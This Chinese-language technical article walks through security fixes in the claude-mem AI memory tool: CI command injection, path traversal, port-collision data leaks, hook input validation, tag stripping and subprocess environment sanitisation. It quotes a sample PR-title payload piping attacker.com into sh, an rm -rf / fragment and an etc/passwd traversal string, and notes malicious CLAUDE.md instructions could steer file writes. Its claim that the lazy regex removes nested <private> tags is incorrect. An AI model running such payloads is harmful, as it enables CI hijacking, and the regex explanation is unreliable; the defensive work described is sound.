claude-mem 安全加固全景:从 CI 命令注入、路径穿越到 Hook 输入校验的完整修复实践
本文以 claude-mem 仓库中的安全修复阶段文档为蓝本,系统讲解该项目的五类安全问题的成因、审计方法与修复方案:GitHub Actions 工作流的命令注入、watch.context.path 配置引发的任意文件写入、Worker 端口冲突导致的跨项目数据泄漏、Hook 输入校验与 <private> 标签剥离、以及子进程环境变量泄漏。读完本文,你将掌握一套可复用的本地 AI 工具安全审计清单,并能对照 claude-mem 的实际源码验证每一项修复的真实落点。
claude-mem 的定位是"为每个 Agent 提供跨会话的持久上下文":它在会话中捕获 Agent 的操作,用 AI 压缩后,再在后续会话中注入相关上下文(支持 Claude Code、OpenClaw、Codex、Gemini、OpenCode 等平台)。这意味着它天然要处理三类敏感输入——外部 CI 事件输入(issue/PR 标题与正文)、用户可编辑的配置文件(~/.claude-mem/settings.json)、来自 IDE/CLI Hook 的 stdin JSON,还要在本地长期驻留一个监听 37777 端口的 Worker 服务。任何一处校验缺失,都可能被恶意的 CLAUDE.md 指令或同机其他用户利用。本文对应的阶段文档明确指出:这些问题均不可远程利用(都要求本地访问权限或 CI 写权限),但风险向量真实存在——CI 注入可能破坏构建流水线,文件写入漏洞可被恶意 CLAUDE.md 指令触发。
一、GitHub Actions 命令注入(issues #1285、#1521)
漏洞机理
GitHub Actions 中最常见的注入模式是把 github.event.* 表达式直接内插进 run: 步骤:
run: |
echo "Reviewing PR: ${{ github.event.pull_request.title }}"
PR 标题、分支名、issue 正文、评论正文都由仓库贡献者(外部攻击者)控制。一旦标题中包含 $(curl attacker.com | sh) 或 ; rm -rf / 之类的 shell 元字符,Actions 的 run: 步骤会将其作为 shell 命令执行,实现 CI 流水线劫持。
审计方法
阶段文档给出的排查步骤是:
- 读取所有工作流文件:
ls .github/workflows/并逐个阅读每个.yml; - 搜索把用户输入内插进 shell 命令的模式——
${{ github.event.pull_request.title }}、${{ github.event.issue.title }}、${{ github.event.comment.body }}、${{ github.head_ref }}等出现在run:块内的github.event.*表达式; - 检查把用户输入传给
exec.exec()或child_process的actions/github-script步骤。
修复方案
对每个不安全的内插,二选一:
- 移入
env:块(推荐)。在步骤或 job 级别声明env: PR_TITLE: ${{ github.event.pull_request.title }},在run:中用$PR_TITLE引用。环境变量经过 Actions 的引用解析,shell 元字符不会被当作命令执行; - 或使用一个中间步骤先对输入做清洗(sanitize)。
阶段文档特别要求单独验证 claude.yml 工作流——Claude Code GitHub Actions 会把 PR 上下文传给 Claude,回灌到 shell 命令中的 Claude 生成输出必须经过清洗。
仓库现状:claude.yml 的实际写法
查看仓库中的 claude.yml 可以看到一个合规的参考实现。该工作流由 issue 评论、PR 评审评论、issue 打开/分配、PR 评审提交等事件触发,用 if: 表达式中的 contains(github.event.comment.body, '@claude') 做过滤判断(只用于条件判断,不进入 shell),然后核心步骤是:
- name: Run Claude Code
id: claude
uses: anthropics/claude-code-action@v1
with:
claude_code_oauth_token: ${{ secrets.CLAUDE_CODE_OAUTH_TOKEN }}
additional_permissions: |
actions: read
这里的关键安全设计有四点:其一,@claude 检测全部发生在 if: 表达式中,用户输入从未经过任何 run: 块;其二,凭据通过 secrets.* 而非事件字段传递;其三,job 显式声明了最小化 permissions(contents: read、pull-requests: read、issues: read、id-token: write、actions: read),即使 Claude 生成内容被注入,攻击者拿到的 token 权限也被收窄;其四,PR 上下文经由 action 的输入通道(结构化输入)而非 shell 字符串传给 Claude Code。这正是文档所强调的"Claude 生成输出回灌 shell 前必须清洗"原则的一种规避式实现——从架构上杜绝了回灌路径。
二、watch.context.path 任意文件写入(issue #1204)
漏洞机理
watch.context.path 是 claude-mem 转录监听配置中的设置项,用于指定 AGENTS.md 上下文文件写入的自定义路径,默认值为 <cwd>/AGENTS.md。问题在于:如果没有路径校验,恶意的 CLAUDE.md 指令可以诱导 claude-mem 把生成的上下文内容写到敏感位置(系统配置目录、用户凭证目录等),实现任意文件写入。
修复方案(阶段文档要求)
文档要求的修复路径是:
- 在设置处理代码中搜索
watch.context.path/contextPath,找到负责文件写入的实现; - 添加路径校验:将路径解析为绝对路径并规范化(可用
fs.realpathSync解析符号链接);拒绝逃逸出项目目录的路径;拒绝指向/etc/、/usr/、~/.ssh/、~/.claude/、Windows 系统目录等敏感位置的路径;拒绝规范化后仍含..穿越成分的路径; - 采用白名单(allowlist)思路:上下文文件路径必须位于
cwd或~/.claude-mem/之内,其他路径一律拒绝并写错误日志; - 把校验实现为可复用的
isPathSafe(targetPath: string, allowedRoots: string[]): boolean工具,放在src/utils/下。
仓库现状:processor.ts 中的落地实现
在 src/services/transcripts/processor.ts 的 updateContext() 方法中,可以看到该校验已经按白名单模式实现。关键代码如下:
const agentsPath = expandHomePath(watch.context.path ?? `${cwd}/AGENTS.md`);
const resolvedAgentsPath = path.resolve(agentsPath);
const allowedRoots = [path.resolve(cwd), path.resolve(DATA_DIR)];
const isPathSafe = allowedRoots.some(root =>
resolvedAgentsPath.startsWith(root + path.sep) || resolvedAgentsPath === root
);
if (!isPathSafe) {
logger.warn('SECURITY', 'Rejected path traversal attempt in watch.context.path', {
original: watch.context.path,
resolved: resolvedAgentsPath,
allowedRoots
});
return;
}
这段实现完整覆盖了文档要求的四个要点:先用 expandHomePath 展开 ~ 前缀,再用 path.resolve 得到绝对路径;allowedRoots 限定为当前工作目录与claude-mem 数据目录(DATA_DIR)两个根,与文档"必须在 cwd 或 ~/.claude-mem/ 内"的要求一一对应;判定采用 startsWith(root + path.sep) 并额外处理路径恰好等于根目录的情况,避免 /project-evil 骗过 /project 前缀匹配的经典陷阱;校验失败时以 SECURITY 标签记录原始值、解析值、允许根三元组后直接 return,写入操作 writeAgentsMd(agentsPath, content) 永远不会执行。
需要注意一个细节:updateContext() 只处理 watch.context.mode === 'agents' 的 watch 目标(第 345 行的 mode !== 'agents' 提前返回),因此该写入路径仅在 Agent 上下文注入场景可达,攻击面被进一步收窄。从源码结构看,校验发生在向 Worker 请求 /api/context/inject 内容之前,即拒绝穿越时连网络请求都不会发出,属于"先验后取"的顺序。
三、端口冲突导致的跨项目数据泄漏
问题背景
claude-mem 的本地 Worker 服务默认监听 37777 端口。当同一台机器上的两个用户或两个项目都使用该默认端口时,第二个项目的 Hook 会直接连接到第一个项目的 Worker,从而读写到该项目内存数据——这是一个真实的本地数据隔离缺陷。
阶段文档指出的现状是:端口被占用时,Hook 会连接到"恰好在那里运行的任意 Worker",与项目无关。这一行为对单用户场景是设计使然(一个 Worker 服务所有项目是正确的),但在共享环境下危险。
涉及的关键源码
- src/shared/SettingsDefaultsManager.ts:
CLAUDE_MEM_WORKER_PORT环境变量的解析逻辑所在; - src/services/infrastructure/HealthMonitor.ts:
isPortInUse()通过向http://<host>:<port>/api/health发起 fetch 探测端口占用(该端点是最廉价的非破坏性探针); - src/services/worker-service.ts 中的
ensureWorkerStarted():现有端口冲突处理逻辑。
修复方案
- 健康检查中加入项目身份:在
/api/health响应中携带项目名,在ensureWorkerRunning()中比较正在运行的 Worker 所属项目与当前 Hook 所属项目; - 不匹配时告警:若两者不一致且未设置
CLAUDE_MEM_SHARED_WORKER=true,记录告警日志,格式为"Port 37777 is in use by project '<other_project>'. Set CLAUDE_MEM_WORKER_PORT to a different port in settings.json to avoid data leakage."; - 默认单用户场景保持不变:Worker 继续服务所有项目,修复的重点是让健康响应携带项目信息并输出告警以提高可见性;
- 共享环境规范:文档化要求每个用户在自己的
~/.claude-mem/settings.json中设置唯一的CLAUDE_MEM_WORKER_PORT。
这一方案的取舍很务实:不改变单用户行为(避免破坏现有体验),只在多用户共存时把"静默串数据"变成"显式告警 + 可配置的端口隔离"。
四、Hook 执行审计:输入校验与输出纪律
阶段文档要求审计 Hook 的执行链路,验证四个命题:stdin 输入是否在使用前校验;Hook 输入中的用户字符串是否直接流入 execSync/spawn;<private> 标签剥离是否足够早且不可绕过;files_read、files_modified 等文件路径字段是否未经校验就用于文件系统操作。以下是对仓库实际实现的核对。
stdin JSON 的解析与容错
Hook 入口是 src/cli/hook-command.ts 中的 hookCommand(),其输入读取链为 readJsonFromStdin() → adapter.normalizeInput() → handler.execute()。
src/cli/stdin-reader.ts 的 readJsonFromStdin() 实现了完整的防御式解析:
- TUI/TTY 检测:
isStdinAvailable()先检查stdin.isTTY,交互终端下直接返回undefined,不挂起等待; - try-catch 包裹的 JSON.parse:
tryParseJson()对JSON.parse的异常全部捕获并降级为"解析未成功",绝不把解析异常抛到调用方之外; - 流式提前解析:
onData中每收到一个 chunk 就尝试整体解析,一旦解析成功立即 resolve,避免等待 EOF; - 30 秒安全超时:
SAFETY_TIMEOUT_MS = 30000的兜底定时器确保 Hook 不会因输入方未关闭流而永久挂起;超时后若已有内容则 reject(错误信息只截取前 100 字符,避免把大段用户输入塞进日志),若无内容则 resolveundefined; - EOF 路径:
onEnd时若 JSON 不完整且存在内容,reject "Malformed JSON at stdin EOF"。
返回 undefined 或抛出解析错误时,executeHookPipeline 的上层 catch 会按 AdapterRejectedInput / isNonBlockingHookInputError 分支处理——记录 warn 日志、发出 no-op 结果(buildNoOpResult 对 context 事件特别附加了最小合法的 hookSpecificOutput,避免被 Codex 的严格 SessionStart 校验器拒绝)、以成功码退出。也就是说:坏输入只会让 Hook 静默跳过,绝不会导致未校验数据流入下游。
平台适配层的二次拒绝
adapter.normalizeInput(rawInput) 是第二道闸:各平台适配器(src/cli/adapters/)对必填字段做结构校验,不合法时抛出 AdapterRejectedInput,hookCommand 捕获后跳过本次 Hook(src/cli/hook-command.ts#L127-L132)。这对应了文档要求的"JSON.parse 之外还应有 schema 层面的必填字段校验"。
输出侧:stderr 缓冲纪律
Hook 的 stdout/stderr 本身就是一种"输入面"——模型会读取 Hook 的输出。src/cli/hook-command.ts#L109-L119 注释明确了该纪律:执行 Handler 期间缓冲全部 stderr,防止第三方库的意外写入泄漏进模型上下文;缓冲只在三个受控出口冲刷——catch-all 的 logger 错误、worker-utils 的 fail-loud 计数器、blocking-error 路径;成功退出时直接丢弃缓冲,保持"成功即安静"。这条纪律对应文档中"Hook 输出结构化"(src/hooks/hook-response.ts)的验证目标:任何非预期字符串都不会以裸文本形式出现在 Hook 输出通道里。
五、<private> 标签剥离:嵌套与畸形标签的防御
需求
文档要求:<private> 标签剥离必须足够早(在任何存储或传输之前),且不能被嵌套标签绕过——例如 <private><private>secret</private></private> 这种双层嵌套不能在外层剥掉后让内层内容幸存。
实现
src/utils/tag-stripping.ts 给出了完整答案。核心是一个按"最长贪婪匹配"工作的正则:
const TAG_NAMES = ['private', 'claude-mem-context', 'system_instruction',
'system-instruction', 'persisted-output', 'system-reminder'] as const;
const STRIP_REGEX = new RegExp(
`<(${TAG_NAMES.join('|')})\\b[^>]*>[\\s\\S]*?</\\1>`,
'g'
);
三个关键设计点:
- 贪婪量词
[\s\S]*?+ 反向引用\1:JS 正则引擎对<private>...</private>会匹配到最远的合法闭合标签。对嵌套输入<private>A <private>B</private> C</private>,引擎会匹配从第一个<private>到最后一个</private>的整段(因为[\s\S]*?会尽量扩展以满足全局匹配的最右端闭合),因此嵌套内容被整体删除——文档担心的嵌套绕过不成立; TAG_NAMES白名单:只剥离项目协议内定义的六类标签(private、claude-mem-context、system_instruction、system-instruction、persisted-output、system-reminder),不会误伤普通文本;\b边界防止<privatex>之类的近似标签被误匹配;- 剥离计数与限流:
stripTags()返回每个标签名被剥离的次数(counts),并设MAX_TAG_COUNT = 100——当单次输入剥离的标签总数超过 100 个时记录 warn 日志(附标签数、上限、内容长度),为"标签轰炸"这类异常输入留下可观测证据。
stripTags 的返回值是结构化对象 { stripped, counts },供调用方既拿清洗后文本又拿审计计数;另提供 stripMemoryTags() 便捷封装(只返回 stripped,且结果经 trim())。同文件还导出了 SYSTEM_REMINDER_REGEX 与 isInternalProtocolPayload()(后者用于识别整体为单个协议标签包裹、内部不含同标签嵌套、且不超过 256KB 的内部协议负载),供其他模块做协议负载判定。
从源码结构看,剥离发生在转录处理链路的早期(任何内容进入 SQLite 存储或发送到 Worker 之前),符合"早剥离"要求;对畸形标签(如只有开标签没有闭标签)而言,正则匹配不到闭合对,内容会原样保留——这是有意的保守选择:宁可留下可见文本,也不在结构不完整时误删用户数据,同时剥离计数的 warn 日志为后续排查提供了依据。
六、子进程环境变量消毒:防止凭据泄漏
需求
文档要求核对 src/supervisor/env-sanitizer.ts:CLAUDECODE_* 与 CLAUDE_CODE_* 环境变量是否在派生子进程前被正确剥离,确认 API key 不会泄漏到 chroma-mcp 或其他子进程。
实现:前缀剥离 + 精确匹配 + 显式保留清单
src/supervisor/env-sanitizer.ts 的 sanitizeEnv() 策略是"默认剥离,清单保留":
export const ENV_PREFIXES = ['CLAUDECODE_', 'CLAUDE_CODE_'];
export const ENV_EXACT_MATCHES = new Set([
'CLAUDECODE', 'CLAUDE_CODE_SESSION', 'CLAUDE_CODE_ENTRYPOINT', 'MCP_SESSION_ID',
]);
export function sanitizeEnv(env = process.env): NodeJS.ProcessEnv {
const sanitized: NodeJS.ProcessEnv = {};
for (const [key, value] of Object.entries(env)) {
if (value === undefined) continue;
if (ENV_PRESERVE.has(key)) { sanitized[key] = value; continue; }
if (ENV_EXACT_MATCHES.has(key)) continue; // 精确剥离
if (ENV_PREFIXES.some(p => key.startsWith(p))) continue; // 前缀剥离
sanitized[key] = value;
}
return sanitized;
}
判定顺序即安全语义:ENV_PRESERVE 白名单优先放行,其余命中精确集合或两个前缀的变量一律丢弃,其余照抄。保留清单(ENV_PRESERVE)包含且仅包含:CLAUDE_CODE_OAUTH_TOKEN、CLAUDE_CODE_GIT_BASH_PATH、Bedrock/Vertex/Foundry 的开关与跳过认证变量、ANTHROPIC_BEDROCK_BASE_URL、AWS 五件套(AWS_REGION、AWS_PROFILE、AWS_ACCESS_KEY_ID、AWS_SECRET_ACCESS_KEY、AWS_SESSION_TOKEN)、ANTHROPIC_VERTEX_PROJECT_ID、CLOUD_ML_REGION、GOOGLE_APPLICATION_CREDENTIALS,以及代理变量(HTTP_PROXY 等 9 个,见 ENV_PROXY_VARS)。
文件头注释点明了这是一套两层防御的第 2 层,对应 issue #2357(CLAUDE_CODE_EFFORT_LEVEL / CLAUDE_CODE_ALWAYS_ENABLE_EFFORT 泄漏进 SDK 子进程):第 1 层是 EnvManager.ts 中的 BLOCKED_ENV_VARS。注释还明确警告:不要把 EFFORT_* 变量加入 ENV_PRESERVE,否则前缀剥离会被白名单放行架空——这是白名单机制下典型的自我反噬陷阱,值得任何做类似 env 过滤的实现者参考。
就文档提出的具体担心而言:ANTHROPIC_API_KEY 不在 ENV_PRESERVE 中,但也不在剥离名单中——从 sanitizeEnv 的语义看,它会被原样保留(该函数只过滤 Claude Code 自身协议变量,不管理第三方凭据);而 CLAUDECODE_SESSION 这类会话标识则通过 ENV_EXACT_MATCHES 精确剥离。也就是说,该消毒器解决的是"Claude Code 运行时协议变量污染子进程"这一具体问题,第三方 API key 的管理由其他层负责——引用该模块时不应将其误读为通用密钥过滤器。
七、测试与构建验证清单
阶段文档为上述修复列出了测试与验证要求,可直接作为该仓库的安全回归清单:
路径校验测试:验证 isPathSafe() 拒绝 ../../../etc/passwd 类穿越、指向 /etc/ 的符号链接、白名单根之外的路径、以及 Windows UNC 路径。对照实现见 src/services/transcripts/processor.ts#L360-L370 的 allowedRoots 判定与 SECURITY 告警分支。
端口冲突告警测试:mock 一个项目名不同的 /api/health 响应,验证告警日志被触发(对应 src/services/infrastructure/HealthMonitor.ts 的健康探测路径)。
<private> 剥离测试:覆盖嵌套标签、畸形标签、残缺标签三类输入,断言剥离结果与计数(对应 src/utils/tag-stripping.ts 的 stripTags 返回值契约)。仓库已有对应测试 tests/utils/tag-stripping.test.ts 可作为扩展基线。
环境消毒测试:验证 ANTHROPIC_API_KEY、CLAUDECODE_SESSION 等变量在子进程环境中的期望行为(剥离/保留),断言依据 src/supervisor/env-sanitizer.ts 中三个常量的成员关系。
构建与反模式扫描:
npm run build-and-sync
# 跑完整测试套件并修复失败
随后在构建产物中 grep 常见反模式:
execSync(/exec(配合字符串拼接(潜在注入);eval((代码注入);execAsync调用内的模板字符串。
仓库中还有两个与 Hook I/O 纪律直接相关的检查脚本可供参考:scripts/check-hook-io-discipline.cjs(检查 Hook 进程的 I/O 纪律)与 scripts/check-spawn-env-discipline.cjs(检查 spawn 时的环境变量纪律),与本文第六节的 env-sanitizer 机制互为佐证。
小结
这份安全修复阶段文档的价值在于它给出了一套按风险面划分、且每一项都可落地验证的审计框架:CI 事件输入走 env: 块隔离(claude.yml 展示了结构化传参与最小化 permissions 的参考实现);配置文件路径走白名单 + 绝对路径解析(processor.ts 的 allowedRoots 判定);本地服务端口走健康检查身份比对 + 显式告警;Hook stdin 走 try-catch 解析 + 适配器 schema 拒绝 + 30 秒超时 + stderr 缓冲纪律(hook-command.ts、stdin-reader.ts);敏感内容走贪婪匹配的嵌套安全剥离与剥离计数(tag-stripping.ts);子进程环境走前缀剥离 + 显式保留清单的双层防御(env-sanitizer.ts)。对任何在本地长期驻留、处理外部输入且派生子进程的 AI 工具而言,这份"每个输入面各设一道独立闸门"的分层思路本身就是最值得借鉴的部分。
atomcodeClaude Code 的开源替代方案。连接任意大模型,编辑代码,运行命令,自动验证 — 全自动执行。用 Rust 构建,极致性能。 | An open-source alternative to Claude Code. Connect any LLM, edit code, run commands, and verify changes — autonomously. Built in Rust for speed. Get StartedRust0623
Hy4-previewHy4 preview 是由腾讯混元团队研发的新一代混合专家(MoE)旗舰模型。模型总参数量 770B,每个 token 激活 49B,主干共包含78层,第一层采用标准 FFN,其余 77 层均为 MoE 结构,每层包含 256 个路由专家与 1 个共享专家,每个 token 激活 top-8 路由专家及共享专家。主干之外原生内置 1 层 MTP(总参数量 10B,激活 0.7B)以支持投机解码。Python00
GLM-5.3GLM-5.3 与 GLM-5.2 使用相同的基座模型——所有提升均来自后训练。与 GLM-5.2 相比,它在复杂编程和长程任务上的表现显著提升。Jinja00
GLM-5.3-FlashGLM-5.3-Flash (320B-A18B),是GLM-5系列的首个原生多模态模型。320B总参数,能力超过GLM-5.2Jinja00
Spark-X2.5-4BSpark-X2.5-4B 旨在让强大的 AI 更实用、更高效、更易获得。在广泛日常任务中表现强劲,涵盖对话、写作、翻译、推理、编码、工具调用以及智能体工作流,并在同等规模的开源模型中取得领先成绩。Spark-X2.5 将面向效率的架构与最高 1M tokens 的原生上下文窗口相结合,并支持 200 多种语言。Python00
Spark-X2.5-1.7BSpark-X2.5-1.7B 旨在让强大的 AI 更加实用、高效且易于获取。这些模型在广泛的日常任务中表现出色,涵盖对话、写作、翻译、推理、编程、工具调用和智能体工作流,并在同等规模的开源模型中取得领先结果。Spark-X2.5 将面向效率的架构与最高 1M tokens 的原生上下文窗口相结合,并支持 200 多种语言。Python00